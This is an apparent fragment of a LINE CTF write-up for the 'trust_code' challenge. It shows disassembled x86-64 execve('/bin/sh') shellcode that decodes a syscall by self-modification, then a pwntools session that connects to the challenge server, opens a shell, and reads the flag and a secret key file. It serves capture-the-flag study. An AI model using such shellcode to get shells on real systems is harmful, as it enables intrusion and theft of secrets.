   0:   48 83 c0 1c             add    rax, 0x1c
   4:   66 f7 10                not    WORD PTR [rax]
   7:   6a 3b                   push   0x3b
   9:   58                      pop    rax
   a:   48 bb 2f 62 69 6e 2f    movabs rbx, 0x68732f6e69622f
  11:   73 68 00
  14:   53                      push   rbx
  15:   48 89 e7                mov    rdi, rsp
  18:   31 f6                   xor    esi, esi
  1a:   31 d2                   xor    edx, edx
  1c:   f0 fa                   lock cli
[+] Opening connection to 35.190.227.47 on port 10009: Done
[*] Switching to interactive mode
$ ls -al
total 68
dr-xr-xr-x 1 root  trust_code  4096 Mar 23 17:46 .
drwxr-xr-x 1 root  root        4096 Mar 23 16:37 ..
-r-xr-xr-x 1 root  trust_code   220 Feb 25  2020 .bash_logout
-r-xr-xr-x 1 root  trust_code  3771 Feb 25  2020 .bashrc
-r-xr-xr-x 1 root  trust_code   807 Feb 25  2020 .profile
-rw-r--r-- 1 20162      20166    35 Mar 23 16:33 flag
-rwxr-xr-x 1 20162      20166    73 Mar 23 16:33 run.sh
-rw-r--r-- 1 20162      20166    16 Mar 23 16:33 secret_key.txt
-rwxr-xr-x 1 20162      20166 31096 Mar 23 16:33 trust_code
$ cat flag
LINECTF{I_5h0uld_n0t_trust_my_c0de}$
$ cat secret_key.txt
v0nVadznhxnv$nph$

LINECTF{I_5h0uld_n0t_trust_my_c0de}

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1